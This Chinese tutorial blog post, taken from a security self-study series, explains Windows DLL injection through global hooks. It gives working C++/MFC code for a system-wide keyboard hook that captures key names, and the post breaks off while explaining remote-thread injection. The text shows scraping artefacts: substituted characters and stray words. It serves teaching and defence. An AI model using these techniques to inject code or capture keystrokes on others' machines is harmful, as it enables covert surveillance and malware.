[网络安全自学篇] 八十五.《Windows黑客编程技术详解》之注入技术详解(全局钩子、远线程钩子、突破Session 0注入、APC注入)

从这篇文章开始,做者将带着你们来学习《Windows黑客编程技术详解》,其做者是甘迪文老师,推荐你们购买来学习。做者将采用实际编程和图文结合的方式进行分享,而且会进一步补充知识点,但愿对您有所帮助。第二篇文章主要介绍4种常见的注入技术,包括全局钩子、远线程钩子、突破SESSION 0隔离的远线程注入、APC注入,案例包括键盘钩子、计算器远线程注入实现、APC注入等,但愿对您有所帮助。php

为了方便对目标进程空间数据进行修改,或者戴上目标进程的“面具”进行假装,病毒木马须要将执行的Shellcode或者DLL注入到目标进程中去执行,其中DLL注入最为广泛。html

这是由于DLL不须要像Shellcode那样要获取kernel32.dll加载基址并根据导出表获取导出函数地址。若DLL成功注入,则表示DLL已成功加载到目标进程空间中,其导入表、导出表、重定位表等均已加载和修改完毕,DLL中的代码能够正常执行。正是因为DLL的简单易用,才使得DLL注入成为病毒木马的经常使用注入技术。ios

  • 全局钩子: 利用全局钩子的机制
  • 远线程钩子: 利用CreateRemoteThread 和 LoadLibrary函数参数的类似性
  • 突破SESSION 0隔离的远线程注入: 利用ZwCreateThreadEx函数的底层性
  • APC注入: 利用APC的机制

在这里插入图片描述


PS:本文主要参考甘迪文老师的《Windows黑客编程技术详解》书籍,并结合本身的经验、网络资料和实践进行撰写,也推荐你们阅读参考文献。git

做者的github资源:
软件安全:https://github.com/eastmountyxz/Software-Security-Course
其余工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
Windows-Hacker:https://github.com/eastmountyxz/Windows-Hacker-Expgithub


声明:本人坚定反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络须要咱们共同维护,更推荐你们了解它们背后的原理,更好地进行防御。web

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登陆加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通讯(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防御
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防护初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防护原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防护原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防护(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提升班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制做(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客经常使用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和经常使用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
[网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
[网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)
[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)
[网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密
[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析
[网络安全自学篇] 六十九.宏病毒之入门基础、防护措施、自发邮件及APT28样本分析
[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向
[网络安全自学篇] 七十一.深信服分享以外部威胁防御和勒索病毒对抗
[网络安全自学篇] 七十二.逆向分析之OllyDbg动态调试工具(一)基础入门及TraceMe案例分析
[网络安全自学篇] 七十三.WannaCry勒索病毒复现及分析(四)蠕虫传播机制全网源码详细解读
[网络安全自学篇] 七十四.APT攻击检测溯源与常见APT组织的攻击案例
[网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)
[网络安全自学篇] 七十六.逆向分析之OllyDbg动态调试工具(二)INT3断点、反调试、硬件断点与内存断点
[网络安全自学篇] 七十七.恶意代码与APT攻击中的武器(强推Seak老师)
[网络安全自学篇] 七十八.XSS跨站脚本攻击案例分享及总结(二)
[网络安全自学篇] 七十九.Windows PE病毒原理、分类及感染方式详解
[网络安全自学篇] 八十.WHUCTF之WEB类解题思路WP(代码审计、文件包含、过滤绕过、SQL注入)
[网络安全自学篇] 八十一.WHUCTF之WEB类解题思路WP(文件上传漏洞、冰蝎蚁剑、反序列化phar)
[网络安全自学篇] 八十二.WHUCTF之隐写和逆向类解题思路WP(文字解密、图片解密、佛语解码、冰蝎流量分析、逆向分析)
[网络安全自学篇] 八十三.WHUCTF之CSS注入、越权、csrf-token窃取及XSS总结
[网络安全自学篇] 八十四.《Windows黑客编程技术详解》之VS环境配置、基础知识及DLL延迟加载详解(1)正则表达式


前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差别备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包算法



一.全局钩子注入

Windows系统中,大部分的应用程序都是基于消息机制的,它们都有一个消息过程函数,根据不一样的消息完成不一样的功能。Windows操做系统提供的钩子机制就是用来截获和监控系统中这些消息的。shell

按照钩子做用的范围不一样,它们分为局部钩子和全局钩子。数据库

  • 局部钩子: 针对某个线程的
  • 所有钩子: 针对整个系统基于消息的应用,须要使用DLL文件,在DLL中实现相应的钩子函数

1.函数介绍

SetWindowsHookEx函数
将程序定义的钩子函数安装到挂钩链中,安装钩子程序能够监视系统是否存在某些类型的事件,这些事件与特定线程或调用线程所在桌面中的全部线程相关联。函数原网址以下:
http://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspx

HHOOK WINAPI SetWindowsHookEx(
  _In_  int idHook,        //设置钩子的类型
  _In_  HOOKPROC lpfn,     //根据钩子类型 设置不一样的回调函数
  _In_  HINSTANCE hMod,    //钩子设置的Dll实例句柄
  _In_  DWORD dwThreadId   //设置钩子的线程ID 若是为0则设置为全局钩子
);

参数

  • idHook[in]:表示要安装的钩子程序的类型,该参数可使如下值。
含义
WH_CALLWNDPROC 安装钩子程序,在系统将消息发送到目标窗口过程以前监视
WH_CALLWNDPROCRET 安装钩子程序,在目标窗口过程处理消息后监视消息
WH_CBT 安装接收对CBT应用程序有用通知的钩子程序
WH_DEBUG 安装可用于调试其余钩子程序的钩子程序
WH_FOREGROUNDIDLE 安装在应用程序的前台线程即将变为空闲时调用的钩子过程,该钩子对于在空闲时执行低优先级任务颇有用
WH_GETMESSAGE 安装一个挂钩过程,它监视发送到消息队列的消息
WH_JOURNALPLAYBACK 安装一个挂钩过程,用于发布先前由WH_JOURNALRECORD挂钩过程记录的消息
WH_JOURNALRECORD 安装一个挂钩过程,记录发布到系统消息队列中的输入消息,这个钩子对于录制宏颇有用
WH_KEYBOARD 安装监视案件消息的挂钩过程
WH_KEYBOARD_LL 安装监视低级键盘输入事件的挂钩过程
WH_MOUSE 安装监视鼠标消息的挂钩过程
WH_MOUSE_LL 安装监视低级鼠标输入事件的挂钩过程
WH_MSGFILTER 安装钩子程序,用于在对话框、消息框、菜单或滚动条中监视因为输入事件而生产的消息
WH_SHELL 安装接收对shell应用程序有用通知的钩子程序
WH_SYSMSGFILTER 安装钩子程序,用于在对话框、消息框、菜单或滚动条中监视因为输入事件而生成的消息,钩子程序监视与调用线程相同桌面中全部应用程序的这些消息
  • lpfn[in]:一个指向钩子程序的指针,若是dwThreadId参数为0或指定由不一样进程建立线程标识符,则lpfn参数必须指向DLL中的钩子过程。不然,lpfn能够指向与当前进程关联的代码中的钩子过程。
  • hMod[in]:包含由lpfn参数指向的钩子过程的DLL句柄,若是dwThreadId参数指定由当前进程建立线程,而且钩子过程位于与当前进程关联的代码中,则hMod参数必须设置为NULL。
  • dwThreadId[in]:与钩子程序关联的线程标识符,若是此参数为0,则钩子过程与系统中全部线程相关联。

返回值

  • 若是函数成功,则返回值是钩子过程的句柄
  • 若是函数失败,则返回值为NULL


2.钩子原理详解

若是建立的是全局钩子,那么钩子函数必须在一个DLL中。由于进程的地址空间是独立的,发送对应事件的进程不能调用其余进程地址空间的钩子函数。若是钩子函数的实现代码在DLL中,则在对应事件发生时,系统会把这个DLL加载到发生事件的进程地址空间中,使它可以调用钩子函数进行处理。

在操做系统中安装全局钩子后,只要进程接收到能够发出钩子的消息,全局钩子的DLL文件就会由操做系统自动或强行地加载到该进程中。所以,设置全局钩子能够达到DLL注入的目的。建立一个全局钩子后,在对应事件发生时,系统就会把DLL加载到发生事件的进程中,从而实现DLL注入。具体步骤以下:

(1) 设置WH_GETMESSAGE消息的全局钩子
该类型的钩子会监视消息队列,而且Windows系统是基于消息驱动的,全部进程都会有本身的一个消息队列,都会加载WH_GETMESSAGE类型的全局钩子DLL。

BOOL SetGlobalHook()
{
	g_hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);
	if(NULL == g_hHook) {
		return FALSE;
	}
	return TRUE;
}

其中,SetWindowsHookEx函数的参数含义以下:

  • 第一个参数表示钩子的类型,WH_GETMESSAGE表示安装消息队列的消息钩子,它能够监视发送到消息队列的消息
  • 第二个参数表示钩子回调函数
  • 第三个参数表示包含钩子回调函数的DLL模块句柄,若是设置全局钩子,则该参数必须指定DLL模块句柄
  • 第四个参数表示与钩子关联的线程ID,0表示全局钩子,它关联全部线程。
  • 返回值是钩子的句柄,该值须要保存。由于回调钩子函数以及卸载钩子都须要用到该句柄做为参数。

(2) 钩子回调函数实现
当成功设置全局钩子后,只有进程有消息发送到消息队列中,系统才会自动将指定的DLL模块加载到进程中,实现DLL注入。WH_GETMESSAGE全局钩子的钩子回调函数具体的实现代码以下:

LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam)
{
	return ::CallNextHookEx(g_hHook, code, wParam, lParam);
}

回调函数的参数和返回值的数据类型是固定的,其中CallNextHookEx函数表示将当前钩子传递给钩子链中的下一个钩子,第一个参数要指定当前钩子的句柄。若是直接返回0,则表示中断钩子传递,对钩子进行拦截。


(3) 卸载全局钩子
当钩子再也不使用时,能够卸载全局钩子,此时已经包含钩子回调函数的DLL模块的进程,将会释放DLL模块。卸载全局钩子的具体代码以下:

BOOL UnsetGlobalHook()
{
	if(g_hHook) {
		::UnhookWindowsHookEx(g_hHook);
	}
	return TRUE;
}

其中函数UnhookWindowsHookEx的参数是卸载钩子的句柄。卸载成功后,全部加载了全局钩子的DLL模块进行都会释放该DLL模块。


(4) 建立共享内存
全局钩子是以DLL形式加载到其余进程空间中,并且进程都是独立的,因此任意修改其中一个内存里的数据是不会影响另外一个进程的。那么,如何将钩子句柄传递给其余进程呢?

为了解决该问题,咱们采用在DLL中建立共享内存。共享内存是指突破进程独立性,多个进程共享同一段内存。在DLL中建立共享内存,就是在DLL中建立一个变量,而后将DLL加载到多个进程空间,只要一个进程修改了该变量值,其余进程DLL中的这个值也会改变,至关于多个进程共享一个内存。

共享内存先为DLL建立一个数据段,而后再对程序的连接器进行设置,把指定的数据段连接为共享数据段,这样就能够建立共享内存。代码以下,使用#pragma data_seg建立一个名为“mydata”的数据段,而后使用"/SECTION:mydata, RWS"设置数据段为可读、可写、可共享的数据段。

//共享内存
#pragma data_seg("mydata")
	HHOOK g_hHook = NULL;
#pragma data_seg();
#pragma comment(linker, "/SECTION:mydata, RWS")


3.编程实现

(1) 建立DLL工程项目
第一步,使用VS2019创建DLL工程,设置工程名称为“DLL1”。

在这里插入图片描述

弹出的解决方案资源管理器中就是咱们新建的DLL工程。

在这里插入图片描述

第二步,工程中添加一个HOOK.h的头文件,添加以下代码:

#pragma once

#define MYWINDAPIEXPORT __declspec(dllexport)

//定义为全局HOOK 返回的钩子过程
HHOOK g_HookProc;                   

//设置HOOK钩子 
void MYWINDAPIEXPORT SetHook();     

//取消设置HOOK
void MYWINDAPIEXPORT UnHook();      

//设置HOOK过程当中须要的回调函数
LRESULT CALLBACK MyProc(int nCode, WPARAM wParam, LPARAM lParam);

第三步,建立HOOK.cpp文件并添加代码。

#include <Windows.h>
#include "HOOK.H"

//设置HOOK
void MYWINDAPIEXPORT SetHook()
{
    //参数:HOOK的类型 Hook的回调地址 模块句柄 线程ID(0表明是全局钩子)
    g_HookProc = ::SetWindowsHookEx(WH_GETMESSAGE, MyProc, 
        GetModuleHandle(TEXT("Dll1.dll")), 0); 
}

//取消HOOK
void MYWINDAPIEXPORT UnHook()                                                                    
{
    if (NULL != g_HookProc) {
        ::UnhookWindowsHookEx(g_HookProc);
    }
}

//回调函数 处理程序
LRESULT CALLBACK MyProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    //执行咱们的程序
    MessageBox(NULL, "加载钩子!", "提示", MB_OK);
    //继续调用钩子过程
    return CallNextHookEx(g_HookProc, nCode, wParam, lParam);
}

若是提示错误“在查找预编译头时遇到意外的文件结尾。是否忘记了向源中添加#include “pch.h””,则设置不使用预编译头便可。接着程序会生成Dll1.dll和Dll1.lib文件。

在这里插入图片描述


(2) 经过外部程序来调用HOOK
虽然建立了dll文件,接下来咱们还须要一个外部程序来调用咱们的导出函数SetHOOK以及UnHOOK。因为SetHook和UnHOOK导出函数是在dll中使用的,因此咱们须要想办法使用这两个函数。

  • 静态调用: 在生成DLL的时候会生成对应的lib,咱们须要在程序中添加.h头文件,使用宏指令包含.lib文件。
  • 动态调用: 经过两个API函数实现,Loadlibaray()用于获取dll的实例句柄,GetProcAddress()根据实例句柄以及函数名来获取函数的地址。

接下来咱们经过静态调用的方法调用HOOK程序。

第一步,建立基于对话框的MFC程序,项目名称为“UseHook”。

在这里插入图片描述

在这里插入图片描述

第二步,设置界面以下图所示,添加两个按钮并导出生成对应的函数。

在这里插入图片描述

void CUseHookDlg::OnBnClickedButton1()
{
	// TODO: 在此添加控件通知处理程序代码
}

void CUseHookDlg::OnBnClickedButton2()
{
	// TODO: 在此添加控件通知处理程序代码
}

第三步,将库文件、动态库、头文件(Dll1.lib、Dll1.dll、HOOK.h)复制到MFC项目目录,且DLL文件须要复制到Debug目录下,并添加对应代码。

在这里插入图片描述

在UseHookDlg.cpp文件中使用宏命令包含咱们dll的lib。#pragma仅仅影响编译器编译的时候,link .lib库的问题,和运行时没有任何关系。它会告诉系统须要静态加载一个.dll文件。当程序运行时再加载这个.dll文件。至于如何加载这个.dll文件,它有本身的加载方式,程序发布后只需向客户提供.exe和.dll(同一个目录)便可。

//添加lib库
#include "HOOK.h"
#pragma comment(lib, "Dll1.lib")

第四步,按钮点击函数中添加对应的调用。

//设置HOOK
void CUseHookDlg::OnBnClickedButton1()
{
	SetHook();
}

//卸载HOOK
void CUseHookDlg::OnBnClickedButton2()
{
	UnHook();
}

第五步,经过Process Explorer查看咱们的HOOK状态。

Process Explorer是一款免费的加强型任务管理器。它能让使用者了解看不到的在后台执行的处理程序,可使用它方便地管理你的程序进程。 能监视、挂起、重启、强行终止任何程序,包括系统级别的不容许随便终止的关键进程和十分隐蔽的顽固木马。除此以外,它还详尽地显示计算机信息: CPU、内存、I/O使用状况,能够显示一个程序调用了哪些动态连接库DLL,句柄,模块,系统进程,以目录树的方式查看进程之间的归属关系,能够对进程进行调试。

打开软件以下图所示:

在这里插入图片描述

接着咱们运行程序,能够看到“UseHook.exe”进程。

在这里插入图片描述

在“View”中设置“Dlls”可见,能够看到该进程调用的全部DLL文件。

在这里插入图片描述

以下图所示,显示了“Dll1.dll”,该文件即为咱们全局钩子注入的结果。

在这里插入图片描述

本程序主要经过调用SetWindowsHookEx函数设置全局钩子,完成DLL注入。经过调用CallNextHookEx函数传递钩子,使得进程继续运行。经过调用UnhookWindowsHookEx函数卸载钩子,实现DLL释放。

注意,user32.dll导出的gShareInfo全局变量能够枚举系统中全部全局钩子的信息,包括钩子的句柄、消息类型以及回调函数地址等。PE结构的节属性Characteristics若包含IMAGE_SCN_MEM_SHARED标志,则表示该节在内存中是共享的。

PE文件结构推荐做者前文:
六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)



4.键盘钩子

下面补充键盘钩子和鼠标钩子的实例,推荐及参考文章:

监视键盘消息的钩子函数以下:

LRESULT CALLBACK KeyboardProc(
    int code,		    //hook code
    WPARAM wParam,		//virtual-key code
    LPARAM lParam		//keystroke-message information
)

监视鼠标消息的钩子函数以下:

LRESULT CALLBACK MouseProc(      
    int nCode,		    //hook code
    WPARAM wParam,		//message identifier
    LPARAM lParam		//mouse coordinates
);

(1) 建立DLL工程项目
第一步,使用VS2019创建DLL工程,设置工程名称为“DLL2”,而后在头文件中添加两个导出函数和两个全局。

pch.h

#ifndef PCH_H
#define PCH_H

// 添加要在此处预编译的标头
#include "framework.h"

#define MY_API __declspec(dllexport)
extern "C" MY_API VOID SetHookOn();
extern "C" MY_API VOID SetHookOff();

static HHOOK g_Hook = NULL;		//钩子句柄
static HINSTANCE g_Inst = NULL;	//DLL模块句柄

#endif //PCH_H

第二步,在DllMain中保存该DLL模块的句柄,以方便安装全局钩子。接着添加钩子相关函数。

DLL(Dynamic Link Library,动态链接库)是一个能够被其余应用程序调用的应用模块,其中封装了能够被调用的资源或函数。DLL属于可执行文件,他符合Windows系统的PE文件格式,不过他的运行是依附于EXE文件建立的进程来执行的,不能单独运行。一个DLL文件能够被多个进程所装载调用。DLL程序的编写与运行都有别于常见的命令行程序或Windows程序,程序的入口不是main函数,也不是WinMain函数,而是DllMain函数。

dllmain.cpp

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:     //动态库装载时调用
        //保存DLL模块句柄
        g_Inst = (HINSTANCE)hModule;
        MessageBox(NULL, TEXT("加载DLL!"), TEXT("提示"), MB_OK);
        break;
    case DLL_THREAD_ATTACH:     //进程中有线程建立时调用
    case DLL_THREAD_DETACH:     //进程中有线程结束时调用
    case DLL_PROCESS_DETACH:    //动态库卸载是调用
        break;
    }
    return TRUE;
}

//钩子回调函数
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
    //若是code小于0必须调用CallNextHookEx传递消息
    if (code < 0) {
        return CallNextHookEx(g_Hook, code, wParam, lParam);
    }

    //若是code等于HC_ACTION表示消息中包含按键消息
    //若是为WM_KEYDOWN则显示按键对应的文本
    if (code == HC_ACTION && lParam > 0) {
        char szBuf[MAXBYTE] = { 0 };
        GetKeyNameText(lParam, szBuf, MAXBYTE);
        MessageBox(NULL, szBuf, "提示", MB_OK);
    }
    return CallNextHookEx(g_Hook, code, wParam, lParam);
}

//安装钩子
VOID SetHookOn()
{
    g_Hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_Inst, 0);
}

//卸载钩子
VOID SetHookOff()
{
    UnhookWindowsHookEx(g_Hook);
}

第三步,运行代码生成对应的Dll2.dll和Dll2.lib文件。

在这里插入图片描述

注意:若是提示“错误 LNK2005 “自定义的变量” 已经在 dllmain.obj 中定义”,只要将这个共用的变量定义成静态变量,即这个变量加上static修饰后再编译就不会有这个错误了。

在这里插入图片描述


(2) 新建MFC键盘程序。
编译连接后产生咱们须要的.dll和.lib文件,而后新建一个项目来导入动态库内容调用相关函数。

第一步,新建MFC对话框项目“KBSetHook”,界面设置以下图所示。

void CKBSetHookDlg::OnBnClickedButton1()
{
	// TODO: 在此添加控件通知处理程序代码
}

void CKBSetHookDlg::OnBnClickedButton2()
{
	// TODO: 在此添加控件通知处理程序代码
}

在这里插入图片描述

第二步,导入库并声明将要调用的函数。

//导入lib库
#pragma comment(lib, "Dll2.lib")
extern "C" VOID SetHookOn();
extern "C" VOID SetHookOff();

第三步,设置按钮函数,包括全局钩子注入和释放。

//钩子注入
void CKBSetHookDlg::OnBnClickedButton1()
{
	SetHookOn();
}

//钩子释放
void CKBSetHookDlg::OnBnClickedButton2()
{
	SetHookOff();
}

第四步,将Dll2.lib复制到工程目录下,Dll2.dll复制到Debug目录。

在这里插入图片描述

第五步,接着运行程序。首先弹出一个对话框“加载DLL”,而后当咱们点击“HookON”按钮以后会记录全部键盘信息;按下“HookOff”后会取消键盘注入。

在这里插入图片描述

在这里插入图片描述

写到这里,一个简单的全局钩子注入DLL就讲解完毕,更多知识做者后续会结合恶意样本分析进行深刻讲解。好比采用IDA静态分析或OD动态调试,显示以下图所示:

在这里插入图片描述

在这里插入图片描述

同时推荐你们去我Github下载本文的源代码:



二.远线程注入

远线程注入是指一个进程在另外一个进程中建立线程的技术,是一种病毒木马所青睐的注入技术,同时也是一种巧妙、经典的DLL注入技术。

1.函数介绍

OpenProcess函数:打开现有的本地进程对象。

HANDLE WINAPI OpenProcess(
	DWORD dwDesiredAccess,   //渴望获得的访问权限(标志)
	BOOL bInheritHandle,     //是否继承句柄
	DWORD dwProcessId        //进程标示符
);

参数

  • dwDesiredAccess[in]:访问进程对象。此访问权限为针对进程的安全描述符进行检查,此参数能够是一个或多个进程访问权限。若是调用该函数的进程启用了SeDebugPrivilege权限,则不管安全描述符的内容是什么,它都会授予所请求的访问权限。
  • bInheritHandle[in]:若此值为TRUE,则此进程建立的进程将继承该句柄。不然,进程不会继承此句柄。
  • dwProcessId[in]:要打开的本地进程PID。

返回值

  • 若是函数成功,则返回值是指定进程的打开句柄。
  • 若是函数失败,则返回值为NULL,想要获取扩展的错误信息,需调用GetLastError查看。

VirtualAllocEx函数:在指定进程的虚拟地址空间内保留、提交或更改内存的状态。

LPVOID WINAPI VirtualAllocEx(
	HANDLE hProcess,
	LPVOID lpAddress,
	SIZE_T dwSize,
	DWORD flAllocationType,
	DWORD flProtect
);

参数

  • hProcess[in]:过程句柄,此函数申请内存所在的进程句柄,句柄必须具备PROCESS_VM_OPERATION权限。
  • lpAddress[in]:指定要分配页面所需起始地址的指针,若是lpAddress为NULL,则该函数自动分配内存。
  • dwSize[in]:欲分配的内存大小,单位字节。注意实际分配的内存大小是页内存大小的整数倍。
  • flAllocationType[in] :内存分配类型,此参数必须为如下值。MEM_COMMIT表示在词频的分页文件和总体内存中,为指定的预留内存页分配内存;MEM_RESERVE保留进程中虚拟地址空间的范围,但不会在内存或磁盘上的分页文件中分配任何实际物理存储位置;MEM_RESET表示再也不关注由lpAddress和dwSize指定的内存范围的数据,页面不该从页面文件中读取或写入;MEM_RESET_UNDO表示只能在早期成功应用了MEM_RESET的地址范围内调用MEM_RESET_UNDO。
  • flProtect[in]:要分配的页面区域的内存保护。若是页面已提交,则能够指定任何一个内存保护常量,若是lpAddress指定了一个地址,则flProtect不能是如下值之一:PAGE_NOACCESS、PAGE_GUARD、PAGE_NOCACHE、PAGE_WRITECOMBINE。

返回值

  • 若是函数成功,则返回值是分配页面的基址。
  • 若是函数返回失败,则返回值为NULL。

WriteProcessMemory函数:在指定的进程中将数据写入内存区域,要写入的整个区域必须可访问,不然操做失败。

BOOL WINAPI WriteProcessMemory(
	HANDLE hProcess,
	LPVOID lpBaseAddress,
	LPVOID lpBuffer,
	DWORD nSize,
	LPDWORD lpNumberOfBytesWritten
);

参数

  • hProcess[in]:要修改的进程内存句柄,句柄必须具备PROCESS_VM_WRITE和PROCESS_VM_OPERATION访问权限。
  • lpBaseAddress[in]:指向指定进程中写入数据的基地址指针,在数据传输发生以前,系统会验证指定大小的基地址和内存中的全部数据是否能够进行写入访问,若是不能够访问,则该函数将失败。
  • lpBuffer[in]:指向缓冲区的指针,其中包含要写入指定进程的地址空间中的数据。
  • nSize[in]:要写入指定进程的字节数。
  • lpNumberOfBytesWritten[in]:指向变量的指针,该变量接收传输到指定进程的字节数。

返回值

  • 若是函数成功,则返回值不为零。
  • 若是函数失败,则返回值为零。

CreateRemoteThread函数:在另外一个进程的虚拟地址空间中建立运行的线程。

HANDLE WINAPI CreateRemoteThread(
	__in HANDLE hProcess,
	__in LPSECURITY_ATTRIBUTES lpThreadAttributes,
	__in SIZE_T dwStackSize,
	__in LPTHREAD_START_ROUTINE lpStartAddress,
	__in LPVOID lpParameter,
	__in DWORD dwCreationFlags,
	__out LPDWORD lpThreadId
);


2.实现原理

远线程注入DLL之因此称为远线程,是因为它使用关键函数CreateRemoteThread来在其余进程空间中建立一个线程。那么,它为什么可以使其余进程加载一个DLL,实现DLL注入呢?这是理解远线程注入原理的关键。

在这里插入图片描述

首先,程序在加载一个DLL时,它一般调用LoadLibrary函数来实现DLL的动态加载。先看看LoadLibrary函数的声明:

HMODULE WINAPI LoadLibrary(_In_ LPCTSTR lpFileName)

从上面的函数声明能够知道,LoadLibrary函数只有一个参数,传递的是要加载的DLL路径字符串。而后再看下建立远线程的函数CreateRemoteThread的声明:

HANDLE WINAPI CreateRemoteThread(
	__in HANDLE hProcess,
	__in LPSECURITY_ATTRIBUTES lpThreadAttributes,
	__in SIZE_T dwStackSize,
	__in LPTHREAD_START_ROUTINE lpStartAddress,
	__in LPVOID lpParameter,
	__in DWORD dwCreationFlags,
	__out LPDWORD lpThreadId	
);

